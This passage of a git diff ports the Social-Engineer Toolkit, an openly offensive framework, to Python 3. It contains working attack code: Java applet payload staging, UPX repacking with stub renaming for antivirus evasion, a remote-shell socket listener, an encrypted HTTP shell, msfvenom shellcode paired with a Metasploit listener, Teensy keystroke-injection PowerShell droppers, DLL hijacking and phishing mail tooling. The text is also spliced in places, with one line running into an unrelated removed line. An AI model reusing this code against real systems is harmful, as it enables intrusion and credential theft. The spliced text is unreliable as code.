pycryptodome try: from Crypto.Cipher import AES except ImportError: print( - "[!] The python-pycrypto python module not installed. You will lose the ability for encrypted communications.") + "[!] The pycryptodome Python module is not installed. You will lose the ability for encrypted communications.") pass # get the main SET path @@ -76,6 +83,49 @@ def check_os(): operating_system = "posix" return operating_system + +def safe_join_webroot(webroot, request_path): + root_path = os.path.abspath(webroot) + request_path = unquote(urlsplit(request_path).path).lstrip("/") + requested_file = os.path.abspath(os.path.join(root_path, request_path)) + + try: + if os.path.commonpath([root_path, requested_file]) != root_path: + return None + except ValueError: + return None + + return requested_file + + +def smtp_auth_b64(value): + if isinstance(value, bytes): + raw_value = value + else: + raw_value = str(value).encode("utf-8") + + return base64.b64encode(raw_value).decode("ascii") + + +def legacy_payload_binary_path(root_path, payload_choice): + payload_paths = { + "shellcode/alphanum": "src/payloads/exe/shellcodeexec.binary", + "shellcode/pyinject": "src/payloads/set_payloads/pyinjector.binary", + "shellcode/multipyinject": "src/payloads/set_payloads/multi_pyinjector.binary", + } + payload_path = payload_paths.get(payload_choice) + if payload_path is None: + raise ValueError("Unsupported legacy payload choice: %s" % payload_choice) + + resolved_path = os.path.join(root_path, payload_path) + if not os.path.isfile(resolved_path): + raise FileNotFoundError( + "The legacy Java shellcode injector payload is unavailable: %s" + % resolved_path + ) + + return resolved_path + # # Class for colors # @@ -344,10 +394,8 @@ def meta_path(): try: # pull from config first - msf_path = check_config("METASPLOIT_PATH=") - if not msf_path.endswith("/"): - msf_path = msf_path + "/" - if os.path.isfile(msf_path + "msfconsole"): + msf_path = _normalize_msf_path(check_config("METASPLOIT_PATH=")) + if msf_path: trigger = 1 # if we are using just the standard path for msfconsole @@ -362,6 +410,11 @@ def meta_path(): msf_path = "/opt/metasploit-framework/" trigger = 1 + if os.path.isfile("/opt/metasploit-framework/bin/msfconsole"): + if trigger == 0: + msf_path = "/opt/metasploit-framework/bin/" + trigger = 1 + # specific for kali linux if os.path.isfile("/opt/metasploit/apps/pro/msf3/msfconsole"): # left blank since you can call launcher and ruby1.9 - 2x issues @@ -419,6 +472,22 @@ def meta_path(): msf_path = False return msf_path + +def _normalize_msf_path(msf_path): + if not msf_path: + return None + + msf_path = os.path.expanduser(msf_path.strip()) + if os.path.isfile(msf_path) and os.path.basename(msf_path) == "msfconsole": + return os.path.dirname(msf_path) + "/" + + if not msf_path.endswith("/"): + msf_path = msf_path + "/" + if os.path.isfile(msf_path + "msfconsole"): + return msf_path + + return None + # # grab the metaspoit path # @@ -596,8 +665,15 @@ def site_cloner(website, exportpath, *args): # copy the file to a new folder print_status("Site has been successfully cloned and is: " + exportpath) - subprocess.Popen("mkdir '%s';cp %s/web_clone/* '%s'" % (exportpath, userconfigpath, - exportpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + os.makedirs(exportpath, exist_ok=True) + web_clone_path = os.path.join(userconfigpath, "web_clone") + for entry in os.listdir(web_clone_path): + source_path = os.path.join(web_clone_path, entry) + destination_path = os.path.join(exportpath, entry) + if os.path.isdir(source_path): + shutil.copytree(source_path, destination_path, dirs_exist_ok=True) + else: + shutil.copy2(source_path, destination_path) # @@ -635,7 +711,6 @@ class ReusableTCPServer(socketserver.TCPServer): def start_web_server_unthreaded(directory): try: # import the threading, socketserver, and simplehttpserver - import thread import socketserver import http.server # create the httpd handler for the simplehttpserver @@ -673,20 +748,23 @@ def java_applet_attack(website, port, directory): # this part is needed to rename the msf.exe file to a randomly generated # one filename = check_options("MSF.EXE=") - if check_options != 0: + if filename not in (0, ""): # move the file to the specified directory and filename - subprocess.Popen("cp %s/msf.exe %s/%s" % (userconfigpath, directory, filename), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "msf.exe"), + os.path.join(directory, filename), + ) applet_name = check_options("APPLET_NAME=") - if applet_name == "": + if applet_name in (0, ""): applet_name = generate_random_string(6, 15) + ".jar" # lastly we need to copy over the signed applet - subprocess.Popen( - "cp %s/Signed_Update.jar %s/%s" % (userconfigpath, directory, applet_name), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "Signed_Update.jar"), + os.path.join(directory, applet_name), + ) # start the web server by running it in the background start_web_server(directory) @@ -820,28 +898,26 @@ def upx(path_to_file): print_info( "Packing the executable and obfuscating PE file randomly, one moment.") # packing executable + temp_binary_path = os.path.join(userconfigpath, "temp.binary") subprocess.Popen( - "%s -9 -q -o %s/temp.binary %s" % (upx_path, userconfigpath, path_to_file), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + [upx_path, "-9", "-q", "-o", temp_binary_path, path_to_file], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ).wait() # move it over the old file - subprocess.Popen("mv %s/temp.binary %s" % (userconfigpath, path_to_file), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + os.replace(temp_binary_path, path_to_file) # random string random_string = generate_random_string(3, 3).upper() # 4 upx replace - we replace 4 upx open the file - fileopen = open(path_to_file, "rb") - filewrite = open(userconfigpath + "temp.binary", "wb") - - # read the file open for data - data = fileopen.read() + with open(path_to_file, "rb") as fileopen: + data = fileopen.read() # replace UPX stub makes better evasion for A/V - filewrite.write(data.replace("UPX", random_string, 4)) - filewrite.close() + with open(temp_binary_path, "wb") as filewrite: + filewrite.write(data.replace(b"UPX", random_string.encode("ascii"), 4)) # copy the file over - subprocess.Popen("mv %s/temp.binary %s" % (userconfigpath, path_to_file), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + os.replace(temp_binary_path, path_to_file) time.sleep(3) @@ -1479,7 +1555,7 @@ def socket_listener(port): while 1: command = raw_input("Enter shell command or quit: ") - conn.send(command) + conn.sendall(command.encode("utf-8")) # if we specify quit then break out of loop and close socket if command == "quit": break @@ -1680,25 +1756,27 @@ def encryptAES(secret, data): # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE - PADDING = '{' + PADDING = b'{' BLOCK_SIZE = 32 - # one-liner to sufficiently pad the text to be encrypted - pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + def to_bytes(value): + if isinstance(value, bytes): + return value + return str(value).encode("utf-8") - # random value here to randomize builds - a = 50 * 5 + def pad(value): + raw_value = to_bytes(value) + return raw_value + (BLOCK_SIZE - len(raw_value) % BLOCK_SIZE) * PADDING # one-liners to encrypt/encode and decrypt/decode a string # encrypt with AES, encode with base64 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) - DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) - cipher = AES.new(secret) + cipher = AES.new(secret, AES.MODE_ECB) aes = EncodeAES(cipher, data) - return str(aes) + return aes.decode("ascii") # compare ports to make sure its not already in a config file for metasploit diff --git a/src/core/ssl/setssl.py b/src/core/ssl/setssl.py index 1fb5c18bbc..1090f991ac 100644 --- a/src/core/ssl/setssl.py +++ b/src/core/ssl/setssl.py @@ -5,16 +5,21 @@ # Used if you want to create self signed from src.core.setcore import * +import glob import subprocess import os +import shutil definepath = os.getcwd() os.chdir(userconfigpath) # create the directories for us -subprocess.Popen("mkdir CA;cd CA;mkdir newcerts private", shell=True).wait() +os.makedirs(os.path.join("CA", "newcerts"), exist_ok=True) +os.makedirs(os.path.join("CA", "private"), exist_ok=True) # move into CA directory os.chdir("CA/") # create necessary files -subprocess.Popen("echo '01' > serial;touch index.txt", shell=True).wait() +with open("serial", "w") as filewrite: + filewrite.write("01\n") +open("index.txt", "a").close() filewrite = open("openssl.cnf", "w") filewrite.write("""# # OpenSSL configuration file. @@ -58,8 +63,17 @@ authorityKeyIdentifier = keyid:always,issuer:always""") # close editing of the file filewrite.close() -subprocess.Popen( - "openssl req -new -x509 -extensions v3_ca -keyout private/cakey.pem -out newcert.pem -days 3650 -config ./openssl.cnf", shell=True).wait() -subprocess.Popen( - "cp private/cakey.pem newreq.pem;cp *.pem ../", shell=True).wait() +subprocess.Popen([ + "openssl", "req", + "-new", + "-x509", + "-extensions", "v3_ca", + "-keyout", "private/cakey.pem", + "-out", "newcert.pem", + "-days", "3650", + "-config", "./openssl.cnf", +]).wait() +shutil.copyfile(os.path.join("private", "cakey.pem"), "newreq.pem") +for pem_path in glob.glob("*.pem"): + shutil.copy2(pem_path, "..") os.chdir(definepath) diff --git a/src/fasttrack/mssql.py b/src/fasttrack/mssql.py index d189e9ddd2..e567992c7b 100644 --- a/src/fasttrack/mssql.py +++ b/src/fasttrack/mssql.py @@ -5,12 +5,16 @@ import os import shutil import subprocess -import thread import time import pexpect import src.core.setcore as core import impacket.tds as tds +try: + import _thread as thread +except ImportError: + import thread + #from src.core.payloadgen import create_payloads # Py2/3 compatibility @@ -189,13 +193,12 @@ def deploy_hex2binary(ipaddr, port, username, password): # if it isn't there yet if not os.path.isfile(core.userconfigpath + "1msf.exe"): # move it then - subprocess.Popen("cp %s/msf.exe %s/1msf.exe" % - (core.userconfigpath, core.userconfigpath), shell=True).wait() - subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" % - (core.userconfigpath, core.userconfigpath), shell=True).wait() - subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" % - (core.userconfigpath, core.userconfigpath), shell=True).wait() - payload_filename = os.path.join(web_path + "1msf.exe") + first_stage = os.path.join(core.userconfigpath, "1msf.exe") + second_stage = os.path.join(core.userconfigpath, "msf2.exe") + shutil.copyfile(os.path.join(core.userconfigpath, "msf.exe"), first_stage) + if os.path.isfile(second_stage): + shutil.copyfile(second_stage, os.path.join(core.userconfigpath, "msf.exe")) + payload_filename = os.path.join(web_path, "1msf.exe") with open(payload_filename, "rb") as fileopen: # read in the binary diff --git a/src/html/spawn.py b/src/html/spawn.py index 28d9172641..c18bd0d6f9 100644 --- a/src/html/spawn.py +++ b/src/html/spawn.py @@ -4,6 +4,7 @@ import re import socket import subprocess +import glob from src.core.setcore import * #python 3 compatibility try: import thread @@ -14,6 +15,25 @@ import socket import datetime + +def copy_matches(pattern, destination): + os.makedirs(destination, exist_ok=True) + for source_path in glob.glob(pattern): + destination_path = os.path.join(destination, os.path.basename(source_path)) + if os.path.isdir(source_path): + shutil.copytree(source_path, destination_path, dirs_exist_ok=True) + else: + shutil.copy2(source_path, destination_path) + + +def remove_matches(pattern): + for path in glob.glob(pattern): + if os.path.isdir(path): + shutil.rmtree(path) + else: + os.remove(path) + + # set current path definepath = os.getcwd() @@ -35,7 +55,7 @@ # grab the randomized applet name applet_name = check_options("APPLET_NAME=") -if applet_name == "": +if applet_name in (0, ""): applet_name = generate_random_string(6, 15) + ".jar" update_options("APPLET_NAME=" + applet_name) @@ -54,7 +74,10 @@ data = data.replace('param name="8" value="YES"', 'param name="8" value="%s"' % (goat_random)) filewrite.write(data) filewrite.close() - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html" % (userconfigpath, userconfigpath), shell=True).wait() + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) print_status("Note that since you are using a custom payload, you will need to create your OWN listener.") print_status("SET has no idea what type of payload you are using, so you will need to set this up manually.") @@ -351,8 +374,11 @@ def random_string(minlength=6, maxlength=15): break if apache == 1: - subprocess.Popen("cp %s/src/html/*.bin %s 1> /dev/null 2> /dev/null;cp %s/src/html/*.html %s 1> /dev/null 2> /dev/null;cp %s/web_clone/* %s 1> /dev/null 2> /dev/null;cp %s/msf.exe %s 1> /dev/null 2> /dev/null;cp %s/*.jar %s 1> /dev/null 2> /dev/null" % - (definepath, apache_path, definepath, apache_path, userconfigpath, apache_path, userconfigpath, apache_path, userconfigpath, apache_path), shell=True).wait() + copy_matches(os.path.join(definepath, "src", "html", "*.bin"), apache_path) + copy_matches(os.path.join(definepath, "src", "html", "*.html"), apache_path) + copy_matches(os.path.join(userconfigpath, "web_clone", "*"), apache_path) + copy_matches(os.path.join(userconfigpath, "msf.exe"), apache_path) + copy_matches(os.path.join(userconfigpath, "*.jar"), apache_path) # if we are tracking users if track_email == "on": now = datetime.datetime.today() @@ -650,8 +676,9 @@ def random_string(minlength=6, maxlength=15): subprocess.Popen( "pkill dnsspoof 1> /dev/null 2> /dev/null", shell=True).wait() if apache == 1: - subprocess.Popen("rm %s/index.html 1> /dev/null 2> /dev/null;rm %s/Signed* 1> /dev/null 2> /dev/null;rm %s/*.exe 1> /dev/null 2> /dev/null" % - (apache_path, apache_path, apache_path), shell=True).wait() + remove_matches(os.path.join(apache_path, "index.html")) + remove_matches(os.path.join(apache_path, "Signed*")) + remove_matches(os.path.join(apache_path, "*.exe")) except: try: child.close() diff --git a/src/html/unsigned/self_sign.py b/src/html/unsigned/self_sign.py index 38400dd5e1..45e4dd0abf 100644 --- a/src/html/unsigned/self_sign.py +++ b/src/html/unsigned/self_sign.py @@ -2,6 +2,7 @@ # coding=utf-8 import os +import shutil import subprocess import src.core.setcore as core @@ -36,20 +37,29 @@ random_string = core.generate_random_string(10, 30) # grab keystore to use later -subprocess.Popen("keytool -genkey -alias {0} " - "-keystore mykeystore " - "-keypass mykeypass " - "-storepass mystorepass".format(random_string), shell=True).wait() +subprocess.Popen([ + "keytool", + "-genkey", + "-alias", random_string, + "-keystore", "mykeystore", + "-keypass", "mykeypass", + "-storepass", "mystorepass", +]).wait() # self-sign the applet -subprocess.Popen("jarsigner -keystore mykeystore " - "-storepass mystorepass " - "-keypass mykeypass " - "-signedjar Signed_Update.jar unsigned.jar {0}".format(random_string), shell=True).wait() +subprocess.Popen([ + "jarsigner", + "-keystore", "mykeystore", + "-storepass", "mystorepass", + "-keypass", "mykeypass", + "-signedjar", "Signed_Update.jar", + "unsigned.jar", + random_string, +]).wait() # move it into our html directory -subprocess.Popen("cp Signed_Update.jar ../", shell=True).wait() -subprocess.Popen("mv Signed_Update.jar {0}".format(core.userconfigpath), shell=True) +shutil.copyfile("Signed_Update.jar", os.path.join("..", "Signed_Update.jar")) +shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar")) # move back to original directory os.chdir("../../../") diff --git a/src/html/unsigned/verified_sign.py b/src/html/unsigned/verified_sign.py index c0a4f1080f..071214df7e 100644 --- a/src/html/unsigned/verified_sign.py +++ b/src/html/unsigned/verified_sign.py @@ -110,7 +110,7 @@ try: core.print_info("Importing the certificate into SET...") - subprocess.Popen("keytool -import -alias MyCert -file {}".format(cert_path), shell=True).wait() + subprocess.Popen(["keytool", "-import", "-alias", "MyCert", "-file", cert_path]).wait() # trigger that we have our certificate already and bypass the # request process below use_flag = 1 @@ -145,21 +145,25 @@ # grab city answer5 = input(core.setprompt("0", "City")) # generate the request crl - subprocess.Popen('keytool ' - '-genkey ' - '-alias MyCert ' - '-keyalg RSA ' - '-keysize 2048 ' - '-dname "CN={a1},O={a2},C={a3},ST={a4},L={a5}"'.format(a1=answer1, - a2=answer2, - a3=answer3, - a4=answer4, - a5=answer5), - shell=True).wait() + subprocess.Popen([ + "keytool", + "-genkey", + "-alias", "MyCert", + "-keyalg", "RSA", + "-keysize", "2048", + "-dname", "CN={a1},O={a2},C={a3},ST={a4},L={a5}".format( + a1=answer1, + a2=answer2, + a3=answer3, + a4=answer4, + a5=answer5, + ), + ]).wait() core.print_info("Exporting the cert request to text file...") # generate the request and export to certreq - subprocess.Popen("keytool -certreq -alias MyCert > {}".format(os.path.join(definepath, "certreq.txt")), shell=True).wait() + with open(os.path.join(definepath, "certreq.txt"), "w") as certreq: + subprocess.Popen(["keytool", "-certreq", "-alias", "MyCert"], stdout=certreq).wait() core.print_status("Export successful. Exported certificate under the SET root under certreq.txt") core.print_warning("You will now need to pay for a code signing certificate through Verisign/Thawte/GoDaddy/etc.") core.print_warning("Be sure to purchase a code signing certificate, not a normal website SSL certificate.") @@ -178,13 +182,18 @@ break # import the certificate - subprocess.Popen("keytool -import -alias MyCert -file {0}".format(cert_path), shell=True).wait() + subprocess.Popen(["keytool", "-import", "-alias", "MyCert", "-file", cert_path]).wait() # if our certificate is in the data store if os.path.isfile(cert_path): # sign the applet with the imported certificate - subprocess.Popen("jarsigner -signedjar Signed_Update.jar {0} MyCert".format(os.path.join(definepath, "src/html/unsigned/unsigned.jar")), shell=True).wait() + subprocess.Popen([ + "jarsigner", + "-signedjar", "Signed_Update.jar", + os.path.join(definepath, "src/html/unsigned/unsigned.jar"), + "MyCert", + ]).wait() # move it into our html directory - subprocess.Popen("mv Signed_Update.jar {0}".format(os.path.join(core.userconfigpath, "Signed_Update.jar.orig")), shell=True).wait() + shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar.orig")) # move back to original directory core.print_status("Java Applet is now signed and will be imported into the java applet website attack from now on...") diff --git a/src/payloads/set_payloads/http_shell.py b/src/payloads/set_payloads/http_shell.py index dc07de3e5a..270a88cb17 100644 --- a/src/payloads/set_payloads/http_shell.py +++ b/src/payloads/set_payloads/http_shell.py @@ -36,7 +36,7 @@ ########################################################################## -import urllib +from urllib import parse, request from Crypto.Cipher import AES import sys import os @@ -51,21 +51,33 @@ # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE -PADDING = '{' -# one-liner to sufficiently pad the text to be encrypted -pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING +PADDING = b'{' -# one-liners to encrypt/encode and decrypt/decode a string -# encrypt with AES, encode with base64 -EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) -DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + +def _to_bytes(value): + if isinstance(value, bytes): + return value + return str(value).encode("utf-8") + + +def pad(value): + raw_value = _to_bytes(value) + return raw_value + (BLOCK_SIZE - len(raw_value) % BLOCK_SIZE) * PADDING + + +def EncodeAES(cipher_obj, value): + return base64.b64encode(cipher_obj.encrypt(pad(value))) + + +def DecodeAES(cipher_obj, value): + return cipher_obj.decrypt(base64.b64decode(value)).rstrip(PADDING).decode("utf-8", "replace") # secret key, change this if you want to be unique -secret = "(3j^%sh@hd3hDH2u3h@*!~h~2&^lk /dev/null 2> /dev/null" % - (file_format, userconfigpath, filename1), shell=True).wait() - file_format = ("%s/%s" % (userconfigpath, filename1)) + file_format = shutil.copyfile(file_format, os.path.join(userconfigpath, filename1)) print_status("Filename changed, moving on...") print (""" @@ -419,14 +418,14 @@ def mail(to, subject, text, attach, prioflag1, prioflag2): input("Press {return} to view error message.") print(str(e)) try: - mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser)) - mailServer.docmd(base64.b64encode(pwd), "") + mailServer.docmd("AUTH LOGIN", smtp_auth_b64(provideruser)) + mailServer.docmd(smtp_auth_b64(pwd), "") except Exception as e: print(str(e)) try: mailServer.login(provideremail, pwd) - thread.start_new_thread(mailServer.sendmail( - from_address, to, io.getvalue())) + thread.start_new_thread( + mailServer.sendmail, (from_address, to, io.getvalue())) except Exception as e: return_continue() diff --git a/src/phishing/smtp/client/smtp_web.py b/src/phishing/smtp/client/smtp_web.py index 158767f577..84f5800eb1 100644 --- a/src/phishing/smtp/client/smtp_web.py +++ b/src/phishing/smtp/client/smtp_web.py @@ -458,10 +458,9 @@ def mail(to, subject, prioflag1, prioflag2, text): mailServer.sendmail(from_address, to, io.getvalue()) except: # try logging in with base64 encoding here - import base64 try: - mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser.encode())) - mailServer.docmd(base64.b64encode(pwd.encode()), "") + mailServer.docmd("AUTH LOGIN", smtp_auth_b64(provideruser)) + mailServer.docmd(smtp_auth_b64(pwd), "") # except exceptions and print incorrect password except Exception as e: @@ -479,7 +478,7 @@ def mail(to, subject, prioflag1, prioflag2, text): # if we specify to track users, this will replace the INSERTUSERHERE with # the "TO" field. if track_email.lower() == "on": - body_new = body_new.replace("INSERTUSERHERE", str(base64.b64encode(to.encode()))) + body_new = body_new.replace("INSERTUSERHERE", smtp_auth_b64(to)) # call the function to send email try: mail(to, subject, prioflag1, prioflag2, body_new) @@ -505,7 +504,7 @@ def mail(to, subject, prioflag1, prioflag2, text): # if we specify to track users, this will replace the INSERTUSERHERE # with the "TO" field. if track_email.lower() == "on": - body_new = body_new.replace("INSERTUSERHERE", str(base64.b64encode(to.encode()))) + body_new = body_new.replace("INSERTUSERHERE", smtp_auth_b64(to)) # send the actual email time_delay = check_config("TIME_DELAY_EMAIL=").lower() time.sleep(int(time_delay)) diff --git a/src/qrcode/qrgenerator.py b/src/qrcode/qrgenerator.py index a61c9bad24..89228957c1 100644 --- a/src/qrcode/qrgenerator.py +++ b/src/qrcode/qrgenerator.py @@ -17,10 +17,11 @@ def gen_qrcode(url): time.sleep(1) qr_img_path = os.path.join(core.userconfigpath, "reports/qrcode_attack.png") + os.makedirs(os.path.dirname(qr_img_path), exist_ok=True) if os.path.isfile(qr_img_path): os.remove(qr_img_path) # save the image out im.save(qr_img_path, format='png') # print that its been successful - core.print_status("QRCode has been generated under {0}".format(qr_img_path)) \ No newline at end of file + core.print_status("QRCode has been generated under {0}".format(qr_img_path)) diff --git a/src/teensy/binary2teensy.py b/src/teensy/binary2teensy.py index b9c7d64dd8..32d3dd5777 100644 --- a/src/teensy/binary2teensy.py +++ b/src/teensy/binary2teensy.py @@ -136,17 +136,14 @@ # grab msfvenom alphanumeric shellcode to be inserted into shellexec proc = subprocess.Popen("%smsfvenom -p %s EXITFUNC=thread LHOST=%s LPORT=%s %s --format raw -e x86/alpha_mixed BufferRegister=EAX" % (meta_path(),payload,ipaddr,port,url), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read in stdout which will be our alphanumeric shellcode -alpha_payload = proc.stdout.read() +alpha_payload = proc.stdout.read().decode("latin-1") # generate a random filename this is going to be needed to read 150 bytes in at a time random_filename = generate_random_string(10,15) # prep a file to write -filewrite = file(random_filename, "wb") -# write the hex to random file -filewrite.write(shell_exec) -# close it -filewrite.close() +with open(random_filename, "w", encoding="ascii") as filewrite: + filewrite.write(shell_exec) # open up the random file -fileopen=file(random_filename, "r") +fileopen = open(random_filename, "r", encoding="ascii") # base counter will be used for the const char RevShell_counter counter = 0 # space to write out per line in the teensy ino file @@ -157,7 +154,7 @@ output_variable = "/* Teensy Hex to File Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K) - file ext changed to .ino and prog_char & PROGMEM modified */\n#include \n" # powershell command here, needs to be unicoded then base64 in order to use encodedcommand -powershell_command = unicode("$s=gc \"$HOME\\AppData\\Local\\Temp\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\%s.exe\",$b)" % (random_filename,random_filename)) +powershell_command = "$s=gc \"$HOME\\AppData\\Local\\Temp\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\%s.exe\",$b)" % (random_filename,random_filename) ######################################################################################################################################################################################################## # @@ -176,7 +173,7 @@ # assign powershell command as the new one powershell_command = blank_command # base64 encode the powershell command -powershell_command = base64.b64encode(powershell_command) +powershell_command = base64.b64encode(powershell_command.encode("utf-8")).decode("ascii") # while true while 1: @@ -313,25 +310,22 @@ Keyboard.send_now(); }""" % (random_filename,random_filename,powershell_command,vbs,bat,vbs,vbs,random_filename,alpha_payload,bat,vbs)) # delete temporary file -subprocess.Popen("rm %s 1> /dev/null 2>/dev/null" % (random_filename), shell=True).wait() +if os.path.isfile(random_filename): + os.remove(random_filename) if not os.path.isdir(userconfigpath + "reports"): os.makedirs(userconfigpath + "reports") print_status("Binary to Teensy file exported as %sreports/binary2teensy" % (userconfigpath)) # write the teensy.ino file out -filewrite = file(userconfigpath + "reports/binary2teensy.ino", "w") -# write the teensy.ino file out -filewrite.write(output_variable) -# close the file -filewrite.close() +with open(userconfigpath + "reports/binary2teensy.ino", "w", encoding="utf-8") as filewrite: + filewrite.write(output_variable) print_status("Generating a listener...") # create our metasploit answer file -filewrite = file(userconfigpath + "answer.txt", "w") -filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url)) -filewrite.close() +answer_path = userconfigpath + "answer.txt" +with open(answer_path, "w", encoding="utf-8") as filewrite: + filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url)) # spawn a multi/handler listener -subprocess.Popen("msfconsole -r %sanswer.txt" % (userconfigpath), shell=True).wait() +subprocess.Popen(["msfconsole", "-r", answer_path]).wait() print_status("[*] Housekeeping old files...") # if our answer file is still there (which it should be), then remove it -if os.path.isfile(userconfigpath + "answer.txt"): +if os.path.isfile(answer_path): # remove the old file, no longer used once we've exited - subprocess.Popen("rm " + userconfigpath + "answer.txt", shell=True).wait() - + os.remove(answer_path) diff --git a/src/teensy/sd2teensy.py b/src/teensy/sd2teensy.py index f144319eaf..6662885708 100644 --- a/src/teensy/sd2teensy.py +++ b/src/teensy/sd2teensy.py @@ -103,7 +103,7 @@ # assign powershell command as the new one powershell_command = blank_command # base64 encode the powershell command -powershell_command = base64.b64encode(powershell_command) +powershell_command = base64.b64encode(powershell_command.encode("utf-8")).decode("ascii") # vbs filename vbs = core.generate_random_string(10, 15) + ".vbs" @@ -231,7 +231,8 @@ }} """.format(random_filename=random_filename, encodedcommand=core.powershell_encodedcommand(powershell_command), vbs=vbs, bat=bat)) # delete temporary file -subprocess.Popen("rm {0} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait() +if os.path.isfile(random_filename): + os.remove(random_filename) print("[*] Binary to Teensy file exported as teensy.ino") # write the teensy.ino file out with open("teensy.ino", "w") as filewrite: diff --git a/src/teensy/teensy.py b/src/teensy/teensy.py index e31c1d8f5d..8e445f49ea 100644 --- a/src/teensy/teensy.py +++ b/src/teensy/teensy.py @@ -8,6 +8,7 @@ import datetime import os import re +import shutil import subprocess import src.core.setcore as core @@ -146,17 +147,16 @@ def writefile(filename, now): metasploit_exec_path = os.path.join(core.userconfigpath, "msf.exe") if not apache: - subprocess.Popen("mkdir {0};" - "cp {1} {2} 1> /dev/null 2> /dev/null".format(webclone_path + - metasploit_exec_path + - os.path.join(webclone_path + "x.exe")), - shell=True).wait() + os.makedirs(webclone_path, exist_ok=True) + if os.path.isfile(metasploit_exec_path): + shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, "x.exe")) if operating_system != "windows": child = pexpect.spawn("python src/html/web_server.py") else: - subprocess.Popen("cp {0} {1}".format(metasploit_exec_path, os.path.join(webclone_path + "x.exe")), shell=True).wait() + if os.path.isfile(metasploit_exec_path): + shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, "x.exe")) if os.path.isfile(os.path.join(core.userconfigpath, "meta_config")): print(core.bcolors.BLUE + "\n[*] Launching MSF Listener...") diff --git a/src/webattack/dll_hijacking/hijacking.py b/src/webattack/dll_hijacking/hijacking.py index 89e7b9f2d6..e39d8c13f1 100644 --- a/src/webattack/dll_hijacking/hijacking.py +++ b/src/webattack/dll_hijacking/hijacking.py @@ -10,6 +10,7 @@ import sys import glob import binascii +import shutil from src.core.menu.text import dll_hijacker_text from src.core.setcore import * @@ -60,15 +61,15 @@ print("\n [*] You have selected the file extension of %s and vulnerable dll of %s" % (extension, dll)) # prep the directories -subprocess.Popen("mkdir " + userconfigpath + "dll", stdout=subprocess.PIPE, - stderr=subprocess.PIPE, shell=True).wait() +dll_path = os.path.join(userconfigpath, "dll") +os.makedirs(dll_path, exist_ok=True) filename1 = input(setprompt( ["2", "15"], "Enter the filename for the attack (example:openthis) [openthis]")) if filename1 == "": filename1 = "openthis" # move the files there using the correct extension and file type -filewrite = open(userconfigpath + "dll/%s%s" % (filename1, extension), "w") +filewrite = open(os.path.join(dll_path, "%s%s" % (filename1, extension)), "w") filewrite.write("EMPTY") filewrite.close() @@ -82,11 +83,11 @@ fileopen = open("src/webattack/dll_hijacking/hijacking.dll", "rb") data = fileopen.read() -filewrite = open(userconfigpath + "dll/%s" % (dll), "wb") +filewrite = open(os.path.join(dll_path, dll), "wb") -host = int(len(ipaddr) + 1) * "X" +host = ((len(ipaddr) + 1) * "X").encode("ascii") -filewrite.write(data.replace(str(host), ipaddr + "\x00", 1)) +filewrite.write(data.replace(host, (ipaddr + "\x00").encode("utf-8"), 1)) filewrite.close() @@ -118,16 +119,14 @@ # basic counter counter = 0 - # look for rar in default directories - rar_check = subprocess.Popen("rar", shell=True, stdout=subprocess.PIPE) - # comunicate with the process - stdout_value = rar_check.communicate()[0] - # do a search to see if rar is present - match = re.search("Add files to archive", stdout_value) - # we get a hit? - if match: - subprocess.Popen("cd %s/dll;rar a %s/template.rar * 1> /dev/null 2> /dev/null" % - (userconfigpath, userconfigpath), shell=True).wait() + if shutil.which("rar"): + archive_path = os.path.join(userconfigpath, "template.rar") + dll_files = glob.glob(os.path.join(dll_path, "*")) + subprocess.Popen( + ["rar", "a", archive_path] + dll_files, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ).wait() counter = 1 # if we didnt find rar @@ -140,10 +139,12 @@ if choice == "2": # write to a 